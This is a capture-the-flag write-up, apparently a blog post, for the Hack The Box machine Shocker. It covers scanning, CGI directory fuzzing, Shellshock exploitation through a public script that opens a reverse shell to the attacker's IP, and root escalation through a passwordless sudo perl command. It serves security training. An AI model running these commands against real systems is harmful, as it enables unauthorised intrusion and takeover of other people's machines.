CTF··4 min read

HTB Shocker: RCE via CGI-bin + Perl Privesc

Initial Access via CGI-bin Perl Exploitation

Privilege Escalation Techniques on Linux

For another escalation based on an overly permissive sudo command, compare HTB Knife: PHP 8.1.0-dev Supply Chain Backdoor RCE to Root.

Add the correlated IP address to the /etc/hosts file.

Terminal output of cat /etc/hosts showing shocker.htb mapped to 10.10.10.56

Run the following nmap scans:

nmap -sV -sC -Pn shocker.htbnmap -sV --script=vuln -Pn shocker.htb

Service detection and banner grabbing with default scripts:

Terminal output of nmap -sV -sC -Pn shocker.htb showing open ports 80 and 2222

Full port scan: Find non-standard ports faster with --min-rate:

Terminal output of nmap -sV --script=vuln -Pn shocker.htb showing many potential vulnerabilities

The service + CVE vulnerability scan took a lot of time as predicted and brought noisy results, so skip this one.

Terminal output of nmap -p- --min-rate 5000 -Pn shocker.htb showing only ports 80 and 2222 open
Terminal output of nmap -p- --min-rate 5000 -Pn shocker.htb showing only ports 80 and 2222 open
Terminal output of nmap -p- --min-rate 5000 -Pn shocker.htb showing only ports 80 and 2222 open

On the HTTP port, the machine was actually trolling me. Let’s start conducting a fuzzing operation via feroxbustergobuster, and dirsearch.

I will conduct a comprehensive fuzzing session for this machine, as the port results were not sufficient in my opinion.

dirsearch -u http://shocker.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

Terminal output of dirsearch -u http://shocker.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 showing 200, 403, an

gobuster dir -u http://shocker.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 40 --no-errorgobuster dir -u http://shocker.htb -w /usr/share/wordlists/dirb/common.txt -t 40 --no-errorferoxbuster -u http://shocker.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 40feroxbuster -u http://shocker.htb -w /usr/share/wordlists/dirb/common.txt -t 40

By default, dirsearch did not provide juicy results. Therefore, it is more suitable to apply solely feroxbuster and gobuster. However, I noticed it is related to wordlist choice.

Terminal output of gobuster dir -u http://shocker.htb -w /usr/share/wordlists/dirb/common.txt -t 40 --no-error showing /cgi-bin/ with status 403
Terminal output of gobuster dir -u http://shocker.htb -w /usr/share/wordlists/dirb/common.txt -t 40 --no-error showing /cgi-bin/ with status 403

common.txt worked perfectly fine. Let's check all endpoints, even those that returned 400 codes.

Terminal output of feroxbuster -u http://shocker.htb -w /usr/share/wordlists/dirb/common.txt -t 40 showing /cgi-bin/ with status 403

Ferox also identified valuable endpoints for deeper scans. Although there were distinct surfaces like .htpasswd and .hta/cgi-bin/ opens another corridor for us to explore.

Terminal output of ffuf -w /usr/share/dirb/wordlists/common.txt -u http://shocker.htb/cgi-bin/FUZZ.php showing user.sh with status 200

I could not identify any further results from cgi-bin.

Performed a scan with the famous wordlist OneListForAll, yet did not get any juicy results.

OneListForAll

A more advanced approach is to fuzz for files with specific extensions such as .sh.php.asp.aspx, and so on.

I decided to use ffuf for more targeted discovery.

Usage Example

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://shocker.htb/cgi-bin/FUZZ.phpffuf -w /usr/share/dirb/wordlists/common.txt -u http://shocker.htb/cgi-bin/FUZZ.sh

You can include more extensions; I applied only the ones that came to mind.

Terminal output of ffuf -w /usr/share/dirb/wordlists/common.txt -u http://shocker.htb/cgi-bin/FUZZ.sh showing user.sh with status 200

Navigating to the discovered user.sh file:

Web browser showing http://shocker.htb/cgi-bin/user.sh displaying the output of a shell script

A Google search for cgi bin user.sh exploit reveals Shellshock as the exploitation method.

Google search results for cgi bin user.sh exploit showing Shellshock as the top result

I will not use metasploit, so I will use a manual exploit.

For exploitation, use the following GitHub generic exploit:

Shellshock

python shock.py 10.10.14.79 1234 http://shocker.htb/cgi-bin/user.sh

Terminal output of python shock.py 10.10.14.79 1234 http://shocker.htb/cgi-bin/user.sh showing a reverse shell connection

Caught the reverse shell via penelope -p 1234.

Penelope

Auto PTY upgrade was in place.

Terminal output of penelope -p 1234 showing a reverse shell session as user shelly

Check GTFOBins and discover the commands that shelly can run as sudo.

Terminal output of sudo -l showing shelly can run perl as sudo without password

Direct perl sudo binary exploitation is possible.

Terminal output of sudo perl -e 'exec /bin/sh' showing root shell

sudo perl -e 'exec "/bin/sh"'

Terminal output of sudo perl -e 'exec /bin/sh' showing root shell with id command